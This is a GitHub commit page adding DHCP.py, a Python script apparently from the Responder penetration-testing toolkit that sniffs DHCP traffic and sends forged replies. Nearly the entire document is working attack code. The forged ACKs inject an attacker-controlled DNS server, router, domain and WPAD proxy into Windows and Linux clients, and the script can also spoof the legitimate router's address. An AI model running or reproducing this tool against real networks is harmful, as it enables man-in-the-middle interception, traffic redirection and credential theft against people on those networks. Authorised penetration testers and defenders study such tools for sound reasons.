Skip to content
This repository was archived by the owner on Aug 7, 2020. It is now read-only.

Commit

Permalink
initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
lgandx committed Apr 16, 2014
1 parent 1c79bed commit 365505f
Showing 1 changed file with 325 additions and 0 deletions.
325 changes: 325 additions & 0 deletions DHCP.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,325 @@
#! /usr/bin/env python
# This utility is part of NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,socket,re,optparse
from odict import OrderedDict
from socket import inet_aton, inet_ntoa


parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
prog=sys.argv[0],
)
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")

parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")

parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")

parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")

parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")

parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")

parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")

parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")

parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")

parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")

options, args = parser.parse_args()

def ShowWelcome():
Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: [email protected]\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)'
print Message

if options.OURIP is None:
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
parser.print_help()
exit(-1)

if options.Interface is None:
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
parser.print_help()
exit(-1)

if options.RouterIP is None:
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
parser.print_help()
exit(-1)

if options.DNSIP is None:
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
parser.print_help()
exit(-1)

if options.DNSIP2 is None:
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
parser.print_help()
exit(-1)

ShowWelcome()

BCAST = "255.255.255.255"
Interface = options.Interface
OURIP = options.OURIP
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = options.OURIP
DNSIP = options.DNSIP
DNSIP2 = options.DNSIP2
DNSNAME = options.DNSNAME
WPADSRV = options.WPAD
Spoof = options.Spoof
Request = options.Request

if Spoof:
DHCPSERVER = ROUTERIP

def SpoofIP(Spoof):
if Spoof:
return ROUTERIP
else:
return OURIP


class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))


#####################################################################
# Server Stuff
#####################################################################

class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])

class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])

def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.

class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x00\xff\xff"), #Lease time, 1 day.
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server.
("Op255", "\xff"),

])

def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))

class DHCPInformACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x22\x1b\xe0\x1a"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", DNSNAME), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", WPADSRV), #Wpad Server.
("Op255", "\xff"),

])

def calculate(self):
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
self.fields["Op1Str"] = inet_aton(NETMASK)
self.fields["Op3Str"] = inet_aton(ROUTERIP)
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))

def ParseMac(data):
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))

def IsUDP(data):
if data[0][23:24] == "\x11":
return True
if data[0][23:24] == "\x06":
return False

def ParseSrcDSTAddr(data):
SrcIP = inet_ntoa(data[0][26:30])
DstIP = inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP,SrcPort,DstIP,DstPort

def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4])

def ParseDHCPCode(data):
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = inet_ntoa(data[12:16])
RequestedIP = inet_ntoa(data[16:20])
MacAddr = data[28:34]
OpCode = data[242:243]
RequestIP = data[245:249]
if OpCode == "\x08":
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),(CurrentIP,68))
return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))

if OpCode == "\x03":
if Request:
IP = FindIP(data)
if IP:
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST))
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds)
p.calculate()
u = UDP(Data = p)
u.calculate()
for x in range(1):
SendDHCP(str(i)+str(u),("255.255.255.255",0))
return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex'))
else:
return False


def SendDHCP(packet,Host):
Protocol = 0x0800
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host)

def SniffUDPMac():
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
Protocol = 0x0800
s.bind((Interface, Protocol))
while True:
data = s.recvfrom(65535)
if IsUDP(data):
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
Message = ParseDHCPCode(data[0][42:])
if Message:
print ParseMac(data)
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
print Message


SniffUDPMac()

0 comments on commit 365505f

Please sign in to comment.